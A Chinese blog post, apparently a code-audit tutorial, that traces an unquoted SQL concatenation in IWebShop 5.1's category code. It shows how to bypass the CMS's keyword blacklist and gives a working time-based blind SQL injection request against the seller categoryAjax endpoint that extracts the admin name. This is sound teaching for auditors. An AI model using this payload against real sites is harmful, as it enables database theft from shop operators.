PHP 代码审计之死磕 SQL 注入

本文作者:x1a0t(信安之路代码审计小组成员)

代码审计中对 SQL 注入的审计是很常见的,那么要怎样才能审计出一个 SQL 注入呢?

作为新手,最为常见的方法当然是,死磕——也就是一一排查代码中存在 SQL 增删该查的地方,寻找注入点。当然,死磕也必须掌握一定方法,不然会耗费时间且收效甚微。下面是我个人总结的死磕流程,仅供参考

本篇以 IWebShop5.1 为例,来看一下我的审计过程:

通过前期的漏洞信息收集和查看功能代码等,我们了解到该 CMS 在 IReq 类中写了获取变量的方法,在 IFilter 类当中写了用来过滤的方法。来看下该 CMS 通篇都会使用到的 act 方法:

publicstaticfunctionact($str,$type='string',$limitLen=false)
{
   if(is_array($str))
  {
       $resultStr=array();
       foreach($stras$key=>$val)
      {
           $key=self::addSlash($key);
           $val=self::act($val, $type, $limitLen);
           $resultStr[$key] =$val;
      }
       return$resultStr;
  }
   else
  {
       //引用IValidate校验类协助过滤
       if(method_exists("IValidate",$type))
      {
           $result=call_user_func(array("IValidate",$type),$str);
           return$result==true?$str: "";
      }

       //引用正则表达式
       if(preg_match("%\W%",$type[0]) ==true)
      {
           $type=trim($type,$type[0]);
           returnIValidate::check($type,$str) ?$str: "";
      }

       switch($type)
      {
           case"int":
               returnintval($str);
               break;

           case"float":
               returnfloatval($str);
               break;

           case"text":
               returnself::text($str,$limitLen);
               break;

           case"bool":
               return(bool)$str;
               break;

           default:
               returnself::string($str,$limitLen);
               break;
      }
  }
}

防护代码比较长,效果也非常不错,正确使用的话基本不会问题。该过滤的方法的第二个参数指定了过滤的形式,如果第二个参数传入 string 或不传,将对变量内容进行转义。

好,关键点来了,如果接收传入的参数后,进行的是转义操作,一旦程序员后面在拼接 SQL 语句时并没有加引号限制,就会导致 SQL 注入。于是,我们就可以死磕这样一个可能的漏洞点去翻代码

根据情况,使用编辑器的全局正则匹配IFilter::act\(.+'string'\)IFilter::act\(.+[^']{1}\)(正则写得差请不要介意),翻前台代码找,毕竟前台 SQL 危害大。然后做代码跟进,直到 SQL 语句的部分

这里找到这么一处,代码:/controller/seller.php:1498

publicfunctioncategoryAjax()
{
   $id       =IFilter::act(IReq::get('id'));
   $parent_id=IFilter::act(IReq::get('parent_id'));
   if($id&&is_array($id))
  {
       foreach($idas$category_id)
      {
           $childString=goods_class::catChild($category_id);//父类ID不能死循环设置成其子分类

$id接收的内容最后进入goods_class::catChild,进入查看:

publicstaticfunctioncatChild($catId,$level=1)
{
...//省略代码
   $result=array($catId);

   while(true)
  {
       $id=current($result);
       if(!$id)
      {
           break;
      }
       $temp=$catDB->query('parent_id = '.$id);

看到没,最后一行$catDB->query中拼接时忘记添加引号,是不是很开心,翻了那么多代码终于找到一个注入点。接着就是考 SQL 知识的部分了,该系统自己写了个比较烂的防注入:

publicstaticfunctionword($str)
{
   $word=array("select ","select/*","update ","update/*","delete ","delete/*","insert into","insert/*","updatexml","concat","()","`","/**/","union(");
   foreach($wordas$val)
  {
       if(stripos($str,$val) !==false)
      {
           return'';
      }
  }
   returnself::removeEmoji($str);
}

这里对 select 的过滤仅仅是匹配了两种形式,我们完全可以使用select%0aselect(等多种方式绕过值得吐槽的还有后面那个()。这种防注入代码一般开始审计时就需要注意,防得很严的情况下会影响到漏洞点的方向。

漏洞利用

1、注册商家账号,后台审核通过(复现可直接后台添加商家),然后需要在商品分类处添加一个分类用于时间盲注

2、前台登陆商家管理,构造类似如下数据包

URL:

/index.php?controller=seller&action=categoryAjax

POST:

id[]=0 and if(ascii(substr((select%0aadmin_name from admin),1,1))%3d97,sleep(10),1)&parent_id=0

(此处的表名 admin 不需要添加前缀,CMS 会自动添加)

当然,使用 sqlmap 跑盲注更加方便:

总结

再列两个可能造成 SQL 注入的漏洞点,及编辑器中搜索的关键字:

  • 直接写或拼接的 SQL 语句,全局正则匹配['"]{1}[select|update|insert|delete]
  • SQL 操作函数中存在可能漏洞点,例如 Thinkphp 中的 where 函数,全局正则匹配where\(.+[\$\.]

作为新手,多读代码,切忌急于求成,最后愿喜欢代码审计的新手朋友们,终成大佬!

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-07-30

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏窗户

深入设计电子计算器(一)——CPU框架及指令集设计

前几天写了一篇《如何设计一个电子计算器》,一个朋友看了之后说实在太low,好吧,依照他的意思,那我就采用文中FPGA设计的方式,然后自己从指令集设计、cpu设...

23260
来自专栏PHP实战技术

PHP经典面试题目汇总(上篇)

1、双引号和单引号的区别 双引号解释变量,单引号不解释变量 双引号里插入单引号,其中单引号里如果有变量的话,变量解释 双引号的变量名后面必须要有一个非数字、字母...

38170
来自专栏北京马哥教育

Redis 基础、高级特性与性能调优 | 一文看全

本文将从Redis的基本特性入手,通过讲述Redis的数据结构和主要命令对Redis的基本能力进行直观介绍。之后在性能调优等方面进行更深入的介绍和指导。 概述...

89260
来自专栏FreeBuf

渗透测试中利用基于时间差反馈的远程代码执行漏洞(Timed Based RCE)进行数据获取

在最近的渗透测试项目中,为了进一步验证漏洞的可用性和危害性,我们遇到了这样一种情形:构造基于时间差反馈的系统注入命令(OS command injection ...

22990
来自专栏SDNLAB

SDNLAB技术分享(三):OpenDaylight中编程抽象的实现

这次主要分三部分说一下,首先我会粗略介绍一下maple system。 之后将以这个为例来阐述一下ODL模块的开发过程。 最后会说明一下ODL模块的结构。 目前...

374100
来自专栏前端达人

JavaScript基础——你真的清楚JavaScript是什么吗?

为前端开发,你是否问过自己或者思考过什么是JavaScript吗?JavaScript有什么特点?如果让你让一句话高度介绍,你会怎么说?小编认为,在你想深入一门...

281100
来自专栏不会写文章的程序员不是好厨师

伪共享(False Sharing)和缓存行(Cache Line) 大杂烩

在上篇介绍LongAdder的文章中,我们最后留下了一个问题,为什么Cell中要插入很多个实际上并没有使用的Long变量?这个问题就得从False Sharin...

17210
来自专栏码洞

依赖注入不是Java的专利,Golang也有

笔者在使用Golang的时候就发现构建系统依赖树非常繁琐,New了很多对象,又手工代码将它们拼接起来,写了一堆非常冗繁的代码。然后就开始想,要是Golang像J...

12010
来自专栏FreeBuf

Java反序列化漏洞从理解到实践

一、前言 在学习新事物时,我们需要不断提醒自己一点:纸上得来终觉浅,绝知此事要躬行。这也是为什么我们在学到知识后要付诸实践的原因所在。在本文中,我们会深入分析大...

336100
来自专栏海天一树

小朋友学Python(1):Python简介与编程环境搭建

一、Python简介 不死Java,不朽C/C++,新贵Python。 Python(英国发音:/ˈpaɪθən/ 美国发音:/ˈpaɪθɑːn/), 是一种面...

347110

扫码关注云+社区

领取腾讯云代金券